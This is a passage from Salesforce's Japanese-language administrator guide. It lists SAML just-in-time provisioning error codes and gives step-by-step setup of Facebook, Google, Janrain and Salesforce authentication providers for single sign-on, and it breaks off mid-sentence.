メモ: Salesforce では、SAML 構成でカスタムエラー URL が指定されている場合、この URL をリダイレクトし
ます。

エラーメッセージ

エラーの詳細説明コード

MISSING_FEDERATION_ID統合 ID がありません1

MISMATCH_FEDERATION_ID統合 ID が一致しません2

INVALID_ORG_ID組織 ID が無効です3

USER_CREATION_FAILED_ON_UROGロックを取得できません4

USER_CREATION_API_ERRORユーザを作成できません5

ADMIN_CONTEXT_NOT_ESTABLISHED管理コンテキストを設定できません6

UNRECOGNIZED_CUSTOM_FIELD不明なカスタム項目です8

UNRECOGNIZED_STANDARD_FIELD不明な標準項目です9

LICENSE_LIMIT_EXCEEDEDライセンスの制限を超えています11

MISMATCH_FEDERATION_ID_AND_USERNAME_ATTRS統合 ID とユーザ名が一致しません12

UNSUPPORTED_VERSIONプロビジョン API バージョンがサポー
トされていません

13

USER_NAME_CHANGE_NOT_ALLOWEDユーザ名は変更できません14

UNSUPPORTED_CUSTOM_FIELD_TYPEカスタムデータ型はサポートされてい
ません

15
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エラーの詳細説明コード

PROFILE_NAME_LOOKUP_ERROR特定のプロファイル名の一意のプロ
ファイル ID を対応付けることができま
せん

16

ROLE_NAME_LOOKUP_ERROR特定のロール名の一意のロール ID を対
応付けることができません

17

INVALID_ACCOUNT_ID取引先が無効です18

MISSING_ACCOUNT_NAME取引先名がありません19

MISSING_ACCOUNT_NUMBER取引先番号がありません20

ACCOUNT_CREATION_API_ERROR取引先を作成できません22

INVALID_CONTACT取引先責任者が無効です23

MISSING_CONTACT_EMAIL取引先責任者メールがありません24

MISSING_CONTACT_LAST_NAME取引先責任者の姓がありません25

CONTACT_CREATION_API_ERROR取引先責任者を作成できません26

MULTIPLE_CONTACTS_FOUND一致する取引先責任者が複数見つかり
ました

27

MULTIPLE_ACCOUNTS_FOUND一致する取引先が複数見つかりました28

INVALID_ACCOUNT_OWNER取引先の所有者が無効です30

INVALID_PORTAL_PROFILEポータルプロファイルが無効です31

ACCOUNT_CHANGE_NOT_ALLOWED取引先の変更は許可されていません32

ACCOUNT_UPDATE_FAILED取引先を更新できません33

CONTACT_UPDATE_FAILED取引先責任者を更新できません34

INVALID_STANDARD_ACCOUNT_FIELD_VALUE標準取引先項目の値が無効です35

CONTACT_CHANGE_NOT_ALLOWED取引先責任者の変更は許可されていま
せん

36

INVALID_PORTAL_ROLEポータルのロールが無効です37

CANNOT_UPDATE_PORTAL_ROLEポータルロールを更新できません38

INVALID_JIT_HANDLERSAML JIT ハンドラクラスが無効です39

INVALID_EXECUTION_USER実行ユーザが無効です40

APEX_EXECUTION_ERROR実行エラー41
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エラーの詳細説明コード

UNSUPPORTED_CONTACT_PERSONACCT_UPDATE個人取引先を持つ取引先責任者の更新
はサポートされていません

42

関連トピック:

SAML 用のジャストインタイムプロビジョニングについて
ポータルのジャストインタイムプロビジョニングおよび SAML アサーション項目

外部認証プロバイダ

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「認証プロバイダの管
理」

認証プロバイダは外部サービスプロバイダのログイン情報を使用して、Salesforce

組織にユーザがログインできるようにします。Salesforce では、OpenID Connect プ
ロトコルをサポートするアプリケーションには、Google、Facebook、Twitter、LinkedIn

などの認証プロバイダが提供されます。OpenID Connect をサポートしないアプリ
ケーションには、カスタム認証プロバイダの作成に使用できる Apex の
Auth.AuthProviderPlugin インターフェースが提供されます。
Facebook、Janrain などの外部サービスプロバイダのログイン情報を使用して、
Salesforce 組織にユーザがログインできるようにできます。
SSO のためのカスタム認証プロバイダを設定するには、次の操作を実行します。
• サービスプロバイダの Web サイトを設定する。
• Apex を使用して登録ハンドラを作成する。
• 組織の認証プロバイダを定義する。
設定が完了すると、認証プロバイダフローは次のようになります。
1. ユーザがサードパーティ (外部) ID を使用して Salesforce にログインしようとし

ます。
2. ログイン要求は外部認証プロバイダにリダイレクトされます。
3. ユーザはサードパーティログインプロセスに従い、アクセスを承認します。
4. 外部認証プロバイダは認証情報と共にユーザをSalesforceにリダイレクトしま

す。
5. ユーザは Salesforce にサインインされます。

メモ: ユーザが既存の Salesforce セッションを持つ場合、サードパーティで
の認証後、Salesforce アカウントへのリンクを承認できるページにリダイレ
クトされます。

認証プロバイダの定義
Salesforce では、次の認証プロバイダがサポートされます。
• Facebook

• Google
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• LinkedIn

• Microsoft アクセスコントロールサービス
• Salesforce

• Twitter

• Janrain

• OpenID Connect プロトコルを実装しているサービスプロバイダ
• OAuth をサポートしているが OpenID Connect プロトコルをサポートしていないサービスプロバイダ

認証プロバイダへの機能の追加
追加の要求パラメータを使用して、認証プロバイダに機能を追加できます。
• Scope — サードパーティから要求された権限をカスタマイズする。
• Site — プロバイダをサイトで使用可能にする。
• StartURL — 認証後にユーザを指定された場所に送信する。
• Community — 認証後にユーザを特定のコミュニティに送信する。
• 認証エンドポイント (ページ 1127) — ユーザを認証のために特定の認証エンドポイントに送信する (Salesforce

認証プロバイダのみ)。

Apex 登録ハンドラの作成
SSO 用の認証プロバイダを使用するには、登録ハンドラを実装する必要があります。Apex の registration

handler クラスでは Auth.RegistrationHandler インターフェースを実装する必要があります。このイン
ターフェースでは 2 つのメソッドを定義します。Salesforceでは、ユーザがこのプロバイダを以前使用したかど
うかに応じて、コールバックで適切なメソッドを起動します。認証プロバイダを作成する場合、テストのため
に Apex テンプレートクラスを自動的に作成できます。

Facebook 認証プロバイダの設定
Facebook 認証プロバイダを設定し、ユーザが Facebook ログイン情報を使用して Salesforce にログインできる
ようにします。
Google 認証プロバイダの設定
Google を認証プロバイダとして設定し、ユーザが Google ログイン情報を使用して Salesforce 組織にログイン
できるようにします。
Janrain 認証プロバイダの設定
Janrain を認証プロバイダとして設定し、ユーザが Janrain ログイン情報を使用して Salesforce 組織にログイン
できるようにします。
Salesforce 認証プロバイダの設定
接続アプリケーションを認証プロバイダとして使用できます。
OpenID Connect 認証プロバイダの設定
Amazon、Google、PayPal など、OpenID Connect プロトコルのサーバ側を実装するサードパーティの Web アプリ
ケーションを認証プロバイダとして使用できます。
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Microsoft® アクセスコントロールサービス認証プロバイダの設定
OAuth プロトコルを使用して Microsoft アクセスコントロールサービスを認証プロバイダとして使用できま
す。認証は通常、SharePoint® Online のような Microsoft Office 365 サービスによって行われます。
LinkedIn 認証プロバイダの設定
LinkedIn を認証プロバイダとして設定し、ユーザが LinkedIn ログイン情報を使用して Salesforce 組織にログイ
ンできるようにします。
Twitter 認証プロバイダの設定
Twitter を認証プロバイダとして設定し、ユーザが Twitter アカウントから Salesforce 組織にログインできるよ
うにします。
認証プロバイダの設定ページでの Salesforce 管理値の使用
Facebook、Salesforce、LinkedIn、Twitter、Google 認証プロバイダを設定するときに、Salesforceによるキー値の自
動作成を選択できます。Salesforceによりキー値が生成されることで、独自のサードパーティアプリケーショ
ンを作成する時間と労力を節約できます。
カスタム外部認証プロバイダの作成
カスタムシングルサインオン (SSO) 認証プロバイダを作成し、ユーザが Salesforce以外のログイン情報を使用
して Salesforce 組織にログインできるようにします。OAuth アプリケーションで OpenID Connect がサポートさ
れない場合は、カスタムの外部認証プロバイダを実装します。アプリケーションで OpenID Connect がサポー
トされる場合は、Salesforce が提供する、いずれかの認証プロバイダを使用できます。

Facebook 認証プロバイダの設定

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「認証プロバイダの管
理」

Facebook 認証プロバイダを設定し、ユーザが Facebook ログイン情報を使用して
Salesforce にログインできるようにします。
Facebook を認証プロバイダとして設定するには、次の手順を実行します。
1. Facebook アプリケーションを設定し、Salesforce をアプリケーションのドメイ

ンにします。
2. Salesforce 組織の Facebook 認証プロバイダを定義します。
3. Salesforce によって生成されるコールバック URL を Facebook の Web サイト URL

として使用するように、Facebook アプリケーションを更新します。
4. 接続をテストします。

Facebook アプリケーションの設定
Salesforce組織で Facebook を設定する前に、Facebook でアプリケーションを設定す
る必要があります。

メモ: Salesforceに独自のデフォルトアプリケーションの使用を許可すると、
この手順を省略できます。詳細は、「認証プロバイダの設定ページでの
Salesforce 管理値の使用」を参照してください。

1. 「Facebook の Web サイト」に移動して、アプリケーションを作成します。
2. アプリケーション設定を変更し、アプリケーションドメインをSalesforceに設

定します。
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3. アプリケーション ID とアプリケーションの秘密をメモします。

Salesforce 組織での Facebook プロバイダの定義
Salesforce 組織で Facebook プロバイダを設定するには、Facebook のアプリケーション ID とアプリケーションの秘
密が必要です。

メモ: Salesforceに値の管理を許可すると、認証プロバイダ設定ページの主要な値の指定を省略できます。
詳細は、「認証プロバイダの設定ページでの Salesforce 管理値の使用」を参照してください。

1. [設定] から、[クイック検索] ボックスに「認証プロバイダ」と入力し、[認証プロバイダ] を選択します。
2. [新規] をクリックします。
3. プロバイダタイプに Facebook を選択します。
4. プロバイダの名前を入力します。
5. クライアント設定 URL に使用する URL サフィックスを入力します。たとえば、プロバイダの URL サフィック

スが MyFacebookProvider である場合、シングルサインオン (SSO) URL は
https://login.salesforce.com/auth/sso/00Dx00000000001/MyFacebookProviderのようになり
ます。

6. [コンシューマ鍵] 項目には、Facebook アプリケーション ID を使用します。
7. [コンシューマの秘密] 項目には、Facebook のアプリケーションの秘密を使用します。
8. 必要に応じて、次の項目を設定します。

a. 認証エンドポイント URL に Facebook から入手したベース URL を入力します。たとえば、
https://www.facebook.com/v2.2/dialog/oauth です。この項目を空白のままにした場合は、ア
プリケーションが使用する Facebook API のバージョンが使用されます。

ヒント: 必要に応じて、クエリ文字列パラメータをベース URL に追加できます。たとえば、オフラ
インアクセス用に Facebook から更新トークンを取得するには、
https://accounts.facebook.com/o/oauth2/auth?access_type=offline&approval_prompt=force

を使用します。Facebook で最初の更新トークンの後にも更新トークンが引き続き提供されるよう
に、更新アクションの承認をユーザに求めるには approval_prompt パラメータが必要となりま
す。

b. Facebook から入手したトークンエンドポイント URL を入力します。たとえば、
https://www.facebook.com/v2.2/dialog/oauth です。この項目を空白のままにした場合は、ア
プリケーションが使用する Facebook API のバージョンが使用されます。

c. Facebook のプロファイル API から要求された値を変更する場合は、ユーザ情報エンドポイント URL を入力
します。項目についての詳細は、
https://developers.facebook.com/docs/facebook-login/permissions/v2.0#reference-public_profileを参照してください。
要求された項目は、要求された範囲に対応する必要があります。この項目を空白のままにした場合は、
アプリケーションが使用する Facebook API のバージョンが使用されます。

d. 認証エンドポイントへの要求と共に送信する [デフォルトの範囲]。送信しない場合は、プロバイダタイ
プのハードコード化されたデフォルトが使用されます (デフォルトについては「Facebook の開発者向けド
キュメント」を参照)。
詳細は、「Scope パラメータの使用」を参照してください。
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e. エラーのレポートに使用するプロバイダの [カスタムエラー URL]。
f. ユーザが SSO フローを使用して認証された場合に、ログアウト後の特定の移動先を指定する [カスタム

ログアウト URL]。この項目を使用して、ユーザをブランド設定されたログアウトページか、またはデ
フォルトのSalesforceログアウトページ以外の場所のいずれかに移動します。URL は、httpまたは https

プレフィックスで完全修飾する必要があります (https://acme.my.salesforce.com など)。
g. 既存のApexクラスを Registration Handlerクラスとして選択します。または、登録ハンドラのApex

クラステンプレートを作成するには、[登録ハンドラテンプレートを自動作成]をクリックします。この
クラスを後で編集してデフォルトのコンテンツを変更してから使用します。

メモ: Registration Handler クラスは、Salesforceで SSO 初期化 URL を生成するために必要となり
ます。

h. [他のアカウントで登録を実行]で、Apexハンドラクラスを実行するユーザを選択します。このユーザは
「ユーザの管理」権限を持っている必要があります。既存の登録ハンドラクラスを指定しているか、テ
ンプレートから登録ハンドラクラスを作成しているかに関係なく、ユーザが要です。

i. プロバイダでポータルを使用するには、[ポータル] ドロップダウンリストからポータルを選択します。
j. [アイコン URL] 項目を使用して、コミュニティのログインページのボタンとして表示するアイコンの

パスを追加します。このアイコンはコミュニティにのみ適用されます。Salesforce 組織または [私のドメ
イン] で作成したドメインのログインページには表示されません。ユーザは、このボタンをクリックし、
コミュニティに関連付けられた認証プロバイダを使用してログインします。
独自の画像へのパスを指定するか、いずれかのサンプルアイコンの URL を項目にコピーしてください。

9. [保存] をクリックします。
生成された認証プロバイダ ID の値をメモします。この値を Auth.AuthToken Apexクラスと共に使用します。
認証プロバイダを定義した後、複数のクライアント設定 URL が生成されます。
• テスト専用初期化 URL: システム管理者は、この URL を使用して、サードパーティプロバイダが正しく設定

されていることを確認します。システム管理者がブラウザでこの URL を開き、サードパーティにサインイ
ンすると、属性の対応付けにより Salesforce にリダイレクトされます。

• シングルサインオン初期化 URL: この URL を使用して、サードパーティから Salesforce への SSO を実行します
(サードパーティのログイン情報を使用します)。ユーザは、ブラウザでこの URL を開いて、サードパーティ
にログインします。このサードパーティは、ユーザを作成するか既存のユーザを更新します。次にサード
パーティは、ユーザを Salesforce にそのユーザとしてサインインします。

• 既存ユーザをリンクする URL: この URL を使用して、既存の Salesforce ユーザをサードパーティアカウントに
リンクします。このユーザはブラウザでこの URL を開いてサードパーティにサインインし、Salesforce にサ
インインしてリンクを承認します。

• OAuth 専用初期化 URL: この URL を使用して、サードパーティの OAuth アクセストークンを取得します。サー
ドパーティサービスがトークンを取得するには、ユーザがSalesforceで認証する必要があります。このフロー
では、以降の SSO 機能は提供されません。

• コールバック URL: 認証プロバイダが設定のためにコールバックするエンドポイントに、コールバック URL

を使用します。認証プロバイダは、各クライアント設定 URL の情報と共に、コールバック URL にリダイレ
クトする必要があります。
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クライアント設定 URL では、ユーザの特定サイトへのログイン、サードパーティからのカスタマイズされた権
限の取得、認証後の特定の場所への移動を行うための、追加の要求パラメータをサポートしています。

Facebook アプリケーションの更新
Facebook 認証プロバイダを Salesforce 組織に定義したら、Facebook に戻り、コールバック URL を Facebook の Web

サイト URL として使用するようにアプリケーションを更新します。

SSO 接続のテスト
ブラウザの認証プロバイダの詳細ページでテスト専用初期化 URL を開きます。ユーザは Facebook にリダイレク
トされ、サインインするよう求められます。サインイン時に、アプリケーションを認証するよう求められま
す。認証後、ユーザは再び Salesforce にリダイレクトされます。

関連トピック:

要求パラメータとクライアント設定 URL の使用
外部認証プロバイダ

Google 認証プロバイダの設定

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「認証プロバイダの管
理」

Google を認証プロバイダとして設定し、ユーザが Google ログイン情報を使用し
て Salesforce 組織にログインできるようにします。
Google を認証プロバイダとして設定するには、次の手順を実行します。
1. Google アプリケーションを設定し、Salesforce をアプリケーションのドメイン

にします。
2. Salesforce 組織の Google 認証プロバイダを定義します。
3. Salesforce によって生成されるコールバック URL を Google の Web サイト URL と

して使用するように、Google アプリケーションを更新します。
4. 接続をテストします。

Google App の設定
Salesforce組織で Google を設定する前に、Google でアプリケーションを設定する必
要があります。

メモ: Salesforceに独自のデフォルトアプリケーションの使用を許可すると、
この手順を省略できます。詳細は、「認証プロバイダの設定ページでの
Salesforce 管理値の使用」を参照してください。

1. 「Google の Web サイト」に移動して、新しいアプリケーションを作成しま
す。

2. アプリケーション設定を変更し、アプリケーションドメインをSalesforceに設
定します。

3. アプリケーション ID とアプリケーションの秘密をメモします。
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Salesforce 組織での Google プロバイダの定義
Salesforce組織で Google プロバイダを設定するには、Google のアプリケーション ID とアプリケーションの秘密が
必要です。

メモ: Salesforceに値の管理を許可すると、認証プロバイダ設定ページの主要な値の指定を省略できます。
詳細は、「認証プロバイダの設定ページでの Salesforce 管理値の使用」を参照してください。

1. [設定] から、[クイック検索] ボックスに「認証プロバイダ」と入力し、[認証プロバイダ] を選択します。
2. [新規] をクリックします。
3. プロバイダタイプに Google を選択します。
4. プロバイダの名前を入力します。
5. クライアント設定 URL に使用する URL サフィックスを入力します。たとえば、プロバイダの URL サフィック

スが MyGoogleProvider である場合、SSO URL は、
https://login.salesforce.com/auth/sso/00Dx00000000001/MyGoogleProviderのようになりま
す。

6. [コンシューマ鍵] 項目には、Google アプリケーション ID を使用します。
7. [コンシューマの秘密] 項目には、Google のアプリケーションの秘密を使用します。
8. 必要に応じて、次の項目を設定します。

a. 承認エンドポイント URL  — Google から基本認証 URL を指定します。たとえば、
https://accounts.google.com/o/oauth2/authorize です。URL は
「https://accounts.google.com/o/oauth2」で開始する必要があります。

ヒント: 必要に応じて、クエリ文字列パラメータをベース URL に追加できます。たとえば、オフラ
インアクセス用に Google から更新トークンを取得するには、
https://accounts.google.com/o/oauth2/auth?access_type=offline&approval_prompt=force

を使用します。Google で最初の更新トークンの後にも更新トークンが引き続き提供されるように、
更新アクションの承認をユーザに求めるには approval_prompt パラメータが必要となります。

b. トークンエンドポイント URL  — Google から OAuth トークンの URL を指定します。たとえば、
https://accounts.google.com/o/oauth2/accessToken です。URL は
「https://accounts.google.com/o/oauth2」で開始する必要があります。

c. ユーザ情報エンドポイント URL  — Google のプロファイル API から要求された値を変更します。URL は
https://www.googleapis.com/oauth2/ で始まる必要があります。

d. デフォルトの範囲  — 認証エンドポイントへの要求と共に送信します。送信しない場合は、プロバイダタ
イプのハードコード化されたデフォルトが使用されます。デフォルトについては、「Google の開発者向
けドキュメント」を参照してください。
詳細は、「Scope パラメータの使用」を参照してください。

e. カスタムエラー URL  — プロバイダがエラーのレポートに使用する URL を指定します。
f. ユーザが SSO フローを使用して認証された場合に、ログアウト後の特定の移動先を指定する [カスタム

ログアウト URL]。この項目を使用して、ユーザをブランド設定されたログアウトページか、またはデ
フォルトのSalesforceログアウトページ以外の場所のいずれかに移動します。URL は、httpまたは https

プレフィックスで完全修飾する必要があります (https://acme.my.salesforce.com など)。
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g. 既存のApexクラスを Registration Handlerクラスとして選択します。または、登録ハンドラのApex

クラステンプレートを作成するには、[登録ハンドラテンプレートを自動作成]をクリックします。この
クラスを後で編集してデフォルトのコンテンツを変更してから使用します。

メモ: Registration Handler クラスは、Salesforceで SSO 初期化 URL を生成するために必要となり
ます。

h. [他のアカウントで登録を実行]で、Apexハンドラクラスを実行するユーザを選択します。このユーザは
「ユーザの管理」権限を持っている必要があります。既存の登録ハンドラクラスを指定しているか、テ
ンプレートから登録ハンドラクラスを作成しているかに関係なく、ユーザが要です。

i. プロバイダでポータルを使用するには、[ポータル] リストからポータルを選択します。
j. [アイコン URL] 項目を使用して、コミュニティのログインページのボタンとして表示するアイコンの

パスを追加します。このアイコンはコミュニティにのみ適用されます。Salesforce 組織または [私のドメ
イン] で作成したドメインのログインページには表示されません。ユーザは、このボタンをクリックし、
コミュニティに関連付けられた認証プロバイダを使用してログインします。
独自の画像へのパスを指定するか、いずれかのサンプルアイコンの URL を項目にコピーしてください。

9. [保存] をクリックします。
生成された [認証プロバイダ ID] の値をメモします。この値を Auth.AuthToken Apexクラスと共に使用しま
す。
認証プロバイダを定義した後、複数のクライアント設定 URL が生成されます。
• テスト専用初期化 URL: システム管理者は、この URL を使用して、サードパーティプロバイダが正しく設定

されていることを確認します。システム管理者がブラウザでこの URL を開き、サードパーティにサインイ
ンすると、属性の対応付けにより Salesforce にリダイレクトされます。

• シングルサインオン初期化 URL: この URL を使用して、サードパーティから Salesforce へのシングルサインオ
ン (SSO) を実行します (サードパーティのログイン情報を使用します)。ユーザは、ブラウザでこの URL を開
いて、サードパーティにサインインします。このサードパーティは、ユーザを作成するか既存のユーザを
更新します。次にサードパーティは、ユーザを Salesforce にそのユーザとしてサインインします。

• 既存ユーザをリンクする URL: この URL を使用して、既存の Salesforce ユーザをサードパーティアカウントに
リンクします。このユーザはブラウザでこの URL を開いてサードパーティにサインインし、Salesforce にサ
インインしてリンクを承認します。

• OAuth 専用初期化 URL: この URL を使用して、サードパーティの OAuth アクセストークンを取得します。サー
ドパーティサービスがトークンを取得するには、ユーザがSalesforceで認証する必要があります。このフロー
では、以降の SSO 機能は提供されません。

• コールバック URL: 認証プロバイダが設定のためにコールバックするエンドポイントに、コールバック URL

を使用します。認証プロバイダは、各クライアント設定 URL の情報と共に、コールバック URL にリダイレ
クトします。

クライアント設定 URL では、ユーザの特定サイトへのログイン、サードパーティからのカスタマイズされた権
限の取得、認証後の場所への移動を行うための、他の要求パラメータをサポートしています。
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Google App の更新
Google 認証プロバイダを Salesforce 組織に定義したら、Google に戻り、コールバック URL を Google の Web サイト
URL として使用するようにアプリケーションを更新します。

SSO 接続のテスト
ブラウザの認証プロバイダ設定ページでテスト専用初期化 URL を開きます。ユーザは Google にリダイレクトさ
れ、サインインするよう求められます。サインイン時に、アプリケーションを認証するよう求められます。認
証後、ユーザは Salesforce にリダイレクトされます。

Janrain 認証プロバイダの設定

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「認証プロバイダの管
理」

Janrain を認証プロバイダとして設定し、ユーザが Janrain ログイン情報を使用して
Salesforce 組織にログインできるようにします。
Janrain 認証プロバイダの設定は、他のプロバイダの設定とは若干異なります。
フローを開始するために、Salesforce にプロバイダを登録した後に取得するシン
グルサインオン初期化 URL を使用しません。代わりに、サイトにリリースされ
た Janrain のログインウィジェットを使用します。
Janrain プロバイダを設定する手順は、次のとおりです。
1. Janrain でアプリケーションを登録して、apiKey を取得します。
2. Salesforce 組織で Janrain 認証プロバイダを定義します。
3. Janrain からログインウィジェットコードを取得します。
4. Salesforce 組織でログインウィジェットコードを呼び出すサイトを設定しま

す。

アプリケーションの登録
Janrain Web サイトから Janrain アカウントにサインアップしてください。Janrain ア
カウントを設定した後で、apiKey が必要になります。
1. [リリース] > [Web にサインイン] > [トークンを処理] を選択します。
2. apiKey をコピーします。キーは、後で Salesforce 組織で Janrain プロバイダを

作成するときに必要です。
3. [リリース] > [アプリケーション設定] > [ドメインのホワイトリスト] にある

Janrain アカウントの Janrain ドメインホワイトリストに Salesforceを追加し
ます。

Salesforce 組織での Janrain プロバイダの定義
Salesforce 組織で Janrain プロバイダを作成するために、Janrain API キーが必要になります。
1. [設定] から、[クイック検索] ボックスに「認証プロバイダ」と入力し、[認証プロバイダ] を選択します。
2. [新規] をクリックします。
3. プロバイダタイプに Janrain を選択します。
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4. プロバイダの名前を入力します。
5. コールバック URL に使用する URL サフィックスを入力します。たとえば、プロバイダの URL サフィックスが

MyJanrainProvider である場合、コールバック URL は、
https://login.salesforce.com/services/authcallback/00D300000007CvvEAE/MyJanrainProvider

のようになります。
6. [コンシューマの秘密] に、Janrain の apiKey 値を使用します。
7. 必要に応じて、エラーのレポートに使用するプロバイダのカスタムエラー URL を入力します。
8. 必要に応じて、ユーザがシングルサインオン (SSO) フローを使用して認証された場合に、ログアウト後の移

動先を指定するカスタムログアウト URL を入力します。この項目を使用して、ユーザをブランド設定され
たログアウトページか、またはデフォルトの Salesforce ログアウトページ以外の場所のいずれかに移動しま
す。URL は、http または https プレフィックスを付けて完全修飾する必要があります
(https://acme.my.salesforce.com など)。

9. 既存のApexクラスを Registration Handlerクラスとして選択します。または、登録ハンドラのApexク
ラステンプレートを作成するには、[登録ハンドラテンプレートを自動作成] をクリックします。このクラ
スを後で編集してデフォルトのコンテンツを変更してから使用します。

メモ: Registration Handlerクラスは、Salesforceでシングルサインオン (SSO) 初期化 URL を生成する
ために必要となります。

10. [他のアカウントで登録を実行] で、Apex ハンドラクラスを実行するユーザを選択します。このユーザは
「ユーザの管理」権限を持っている必要があります。既存の登録ハンドラクラスを指定しているか、テン
プレートから登録ハンドラクラスを作成しているかに関係なく、ユーザが要です。

11. プロバイダでポータルを使用するには、[ポータル] ドロップダウンリストからポータルを選択します。
12. [アイコン URL]項目を使用して、コミュニティのログインページのボタンとして表示するアイコンのパス

を追加します。このアイコンはコミュニティにのみ適用されます。Salesforce 組織または [私のドメイン] で
作成したドメインのログインページには表示されません。ユーザは、このボタンをクリックし、コミュニ
ティに関連付けられた認証プロバイダを使用してログインします。
独自の画像へのパスを指定するか、いずれかのサンプルアイコンの URL を項目にコピーしてください。

13. [保存] をクリックします。
生成されたコールバック URL の値をメモします。この URL は、Janrain の設定を完了するために必要です。
Janrain を認証プロバイダとして設定した後、複数のクライアント設定パラメータが使用できるようになりま
す。Janrain ログインウィジェットを使用して、コールバック URL の flowtype 値にこれらを使用します。
• test: サードパーティプロバイダが正しく設定されていることを確認します。システム管理者は、

flowtype=test を使用するように Janrain ウィジェットを設定し、サードパーティにサインインして、属
性の対応付けと共に Salesforce にリダイレクトされます。

• link: 既存の Salesforceユーザをサードパーティアカウントにリンクします。ユーザは、flowtype=linkを
使用するように Janrain ウィジェットが設定されたページに移動して、サードパーティにサインインし、
Salesforce にサインインしてリンクを承認します。

• sso: サードパーティから Salesforce への SSO を実行します (サードパーティのログイン情報を使用します)。
ユーザは、flowtype=sso を使用するように Janrain ウィジェットが設定されたページに移動して、サード
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パーティにサインインします。このサードパーティは、ユーザを作成するか既存のユーザを更新します。
次にサードパーティは、ユーザを Salesforce にそのユーザとしてサインインします。

クライアント設定 URL では、ユーザの特定サイトへのログイン、サードパーティからのカスタマイズされた権
限の取得、認証後の特定の場所への移動を行うための、追加の要求パラメータをサポートしています。

Janrain からのログインウィジェットコードの取得
Salesforce 組織で Janrain からログインウィジェットコードを取得する必要があります。
1. Janrain アカウントで [アプリケーション] > [Web にサインイン] > [コードを入手] を選択します。
2. トークン URL として、Salesforce 組織の Janrain プロバイダ情報のコールバック URL の値をクエリパラメータ

flowtype=sso と共に入力します。次に例を示します。
https://login.salesforce.com/services/authcallback/00DD##############/JanrainApp?flowtype=sso

[私のドメイン] を使用して作成されたドメインの場合は、login.salesforce.com を [私のドメイン] 名に
置き換えます。
コミュニティに対して、community パラメータを追加してトークン URL としてログインウィジェットに渡
します。次に例を示します。
janrain.settings.tokenUrl='https://login.salesforce.com/services/authcallback/00DD##############/JanrainApp'
+'?flowtype=sso&community='+encodeURIComponent('https://acme.force.com/customers');

ログインウィジェットを呼び出すサイトの作成
1. サイトを有効にします。
2. ページを作成して、ログインウィジェットコードをページにコピーします。
3. サイトを作成して、作成したページをサイトのホームページとして指定します。

関連トピック:

要求パラメータとクライアント設定 URL の使用
外部認証プロバイダ
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Salesforce 認証プロバイダの設定

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「認証プロバイダの管
理」

接続アプリケーションを認証プロバイダとして使用できます。
1. 接続アプリケーションを定義します。
2. 組織の Salesforce 認証プロバイダを定義します。
3. 接続をテストします。

接続アプリケーションの定義
Salesforce 組織の Salesforce プロバイダを設定する前に、シングルサインオン (SSO)

を使用する接続アプリケーションを定義します。Lightning Experienceでは、[設定]

から、[クイック検索] ボックスに「アプリケーション」と入力し、[アプリケー
ションマネージャ]を選択してから [新規接続アプリケーション]をクリックしま
す。Salesforce Classic では、[設定] から、[クイック検索] ボックスに「アプリケー
ション」と入力し、[アプリケーション] を選択してから [新規] をクリックしま
す。
接続アプリケーションの定義の完了後は、[コンシューマ鍵] 項目および [コン
シューマの秘密] 項目の値を保存します。

メモ: Salesforceに独自のデフォルトアプリケーションの使用を許可すると、
この手順を省略できます。詳細は、「認証プロバイダの設定ページでの
Salesforce 管理値の使用」を参照してください。

組織の Salesforce 認証プロバイダの定義

組織の認証プロバイダを設定するには、接続アプリケーション定義の[コンシュー
マ鍵] 項目および [コンシューマの秘密] 項目の値が必要です。

メモ: Salesforceに値の管理を許可すると、認証プロバイダ設定ページの主要な値の指定を省略できます。
詳細は、「認証プロバイダの設定ページでの Salesforce 管理値の使用」を参照してください。

1. [設定] から、[クイック検索] ボックスに「認証プロバイダ」と入力し、[認証プロバイダ] を選択します。
2. [新規] をクリックします。
3. プロバイダタイプに Salesforce を選択します。
4. プロバイダの名前を入力します。
5. クライアント設定 URL に使用する URL サフィックスを入力します。たとえば、プロバイダの URL サフィック

スが MySFDCProvider である場合、SSO URL は、
https://login.salesforce.com/auth/sso/00Dx00000000001/MySFDCProviderのようになります。

6. 接続アプリケーション定義のコンシューマ鍵の値を [コンシューマ鍵] 項目に貼り付けます。
7. 接続アプリケーション定義のコンシューマの秘密の値を [コンシューマの秘密] 項目に貼り付けます。
8. 必要に応じて、次の項目を設定します。

a. OAuth 認証の URL を指定するための [承認エンドポイント URL]。

1099

シングルサインオンSalesforce 組織の設定および管理



[承認エンドポイント URL]の場合、ホスト名に Sandboxやカスタムドメイン名 ([私のドメイン] を使用し
て作成) を含めることができますが、URL は .salesforce.com で終わり、パスは
/services/oauth2/authorize で終わる必要があります。たとえば、
「https://login.salesforce.com/services/oauth2/authorize」などです。

b. OAuth トークンの URL を指定するための [トークンエンドポイント URL]。
[トークンエンドポイント URL] の場合、ホスト名に Sandboxやカスタムドメイン名 ([私のドメイン] を使
用して作成) を含めることができますが、URL は .salesforce.com で終わり、パスは
/services/oauth2/token で終わる必要があります。たとえば、
「https://login.salesforce.com/services/oauth2/token」などです。

c. 認証エンドポイントへの要求と共に送信する [デフォルトの範囲]。送信しない場合は、ハードコード化
されたデフォルトが使用されます。
詳細は、「Scope パラメータの使用」を参照してください。

メモ: 既存の Salesforce認証プロバイダの設定を編集する方法は、認証プロバイダがいつ作成された
かによって異なります。認証プロバイダが Winter ’15 リリースより前に作成された場合は、サード
